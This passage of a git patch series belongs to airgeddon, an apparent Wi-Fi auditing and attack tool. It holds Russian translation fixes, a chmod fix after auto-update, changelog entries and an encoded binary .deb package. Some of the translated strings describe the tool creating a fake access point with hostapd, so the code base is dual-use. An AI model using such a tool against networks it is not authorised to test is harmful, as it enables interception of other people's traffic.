zGPi+!gUI)|Ygg0$sq7-82%KFjgQypMa6=t{$HwHY{alSzPNWgBv5abT+hoD~0k2h#k!$ri!LQDko82i7G1H-leT_ zH1T8gs@Jx}#!i^ah)auz`C(9i77J1IWx*Jvuv=7U5cS2`zrxcg(4CotJ+2gF)u$+* zgn%5U#91#(&#P0EHcLzQeeLf#8QAyffCXp0d76*#l={Rk$VZD~HT|~rBb`b`ORs_mMG_Q$4^^(1PX?8psNkIgM|f;3(COhy z(Bb;9G7h^_|09Nexhopgz)ZIRBR}6n?t5}VD$A&O)~Tc+#_N~@#gc2ixf7w9uRIE$ z^C6%Dn2U!c~djBhvn3$F54!#23nPdco{YKH%FXz1aVzRT8arUav1$DZ)l6mXV zW?|_g>4T<5D2^vS7|bpMQ+zk{Ve=7lC4^H^G~L+Zvao*ff=Zgc*Iuj&ay;}|K^WP1 z17J(H*RJlMX)dQnCuqEkYe8GqlZu!Gjy)m|*T3sJpl{zXh~|_snHti8S+$)@D3UD4 z>Y1y8g3hFNs+bMbl&!NGlr;82z9szLmvM*JezyV4YF|;vIHa`Rq)#M7sE=S2KD$rY zB5O;#WWQu{1%L~W1#WPrK-7HH=7NN-C(=no_(Z*Ly^d<$SH}5_zk6`=kD(y<2TLq_ll6D*QJHsrMmfg_34V`I$O zC1a|y4uQsiyAskvo+xsQ7BIhj7hc~+d|Atsm*t@U8GTAAe1th^U?F4GX(n`vSl}+?WgCEl)w2s6B)%Lo!KP&}`{KGf9RJGU9oBb(knXN*7T-&cIXE&dy%eX~=P`2cR|V z!gBISiGE2z%jen@ Date: Thu, 27 Apr 2017 10:16:30 +0300 Subject: [PATCH 15/28] Updated Russian translation --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 88bbf6b7b..b108c8fc8 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3661,7 +3661,7 @@ function language_strings() { arr["FRENCH",420]="${pending_of_translation} Nous avons détecté que vous utilisez airgeddon un conteneur Docker. Dans ce hostapd d'attaque est utilisé pour créer un point d'accès faux. Cette composante a tendance à entrer en conflit avec network-manager. Du récipient, airgeddon ne peut pas le gérer. Si vous avez network-manager installé sur votre machine host, fermer ou tuer des processus contradictoires ou d'obtenir une erreur. Pour plus d'informations, voir la section Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["RUSSIAN",420]="${pending_of_translation} Было обнаружено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки hostapd используется для создания поддельной AP. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. Раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" @@ -3669,7 +3669,7 @@ function language_strings() { arr["FRENCH",421]="${pending_of_translation} Des questions? visitez notre Wiki: ${normal_color}${urlgithub_wiki}" arr["CATALAN",421]="${pending_of_translation} Dubtes? visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? visite a Wiki: ${normal_color}${urlgithub_wiki}" - arr["RUSSIAN",421]="${pending_of_translation} Вопросы? посетить наш Wiki: ${normal_color}${urlgithub_wiki}" + arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" @@ -3677,7 +3677,7 @@ function language_strings() { arr["FRENCH",422]="${pending_of_translation} Mise à jour automatique est désactivée lorsque airgeddon fonctionne sur un conteneur Docker. Si vous voulez le mettre à jour télécharger à nouveau tag image \"latest\"" arr["CATALAN",422]="${pending_of_translation} L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" - arr["RUSSIAN",422]="${pending_of_translation} Автоматическое обновление отключено, когда airgeddon работает на контейнере Докер. Если вы хотите загрузить снова обновить изображение тега \"latest\"" + arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" case "${3}" in From 186121a1fa48b170869b4bcfa381057eaf44a91e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 00:15:44 +0200 Subject: [PATCH 16/28] Fixed error executing airgeddon after auto update on some distros --- CHANGELOG.md | 1 + airgeddon.sh | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 67eddcf57..326a00475 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ###6.21 - Improved chipset detection, lsusb added to internal tools - Improved internet checking. Now more methods, not only icmp + - Fixed error executing airgeddon after auto update on some distros ###6.2 - Docker support added diff --git a/airgeddon.sh b/airgeddon.sh index b90a00ab6..26e33da24 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -5289,7 +5289,6 @@ function rewrite_script_with_custom_beef() { case ${1} in "set") sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null - chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 ;; "search") beef_custom_path_line=$(grep "#[C]ustom BeEF location (set=1)" < "${scriptfolder}${scriptname}" 2> /dev/null) @@ -8247,6 +8246,7 @@ function download_last_version() { rewrite_script_with_custom_beef "set" "${beef_custom_path}" fi language_strings "${language}" 115 "read" + chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 exec "${scriptfolder}${scriptname}" else language_strings "${language}" 5 "yellow" From 85359ffd3d2bc00aff5956c444f3e5e7f12d7c84 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 00:41:55 +0200 Subject: [PATCH 17/28] Added license and readme files to kali package --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 326a00475..7506616c3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,7 @@ - Improved chipset detection, lsusb added to internal tools - Improved internet checking. Now more methods, not only icmp - Fixed error executing airgeddon after auto update on some distros + - Added license and readme files to kali package ###6.2 - Docker support added From c3d37fdb74b54f0240e6d524d475e7515ec6afe7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 00:44:39 +0200 Subject: [PATCH 18/28] Kali v6.21 package done --- binaries/kali/airgeddon_6.21-1_all.deb | Bin 0 -> 120792 bytes .../kali/{ => legacy}/airgeddon_6.2-1_all.deb | Bin 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 binaries/kali/airgeddon_6.21-1_all.deb rename binaries/kali/{ => legacy}/airgeddon_6.2-1_all.deb (100%) diff --git a/binaries/kali/airgeddon_6.21-1_all.deb b/binaries/kali/airgeddon_6.21-1_all.deb new file mode 100644 index 0000000000000000000000000000000000000000..2009d84abf6a0cf917f36f97fac780aaa3a8df5f GIT binary patch literal 120792 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 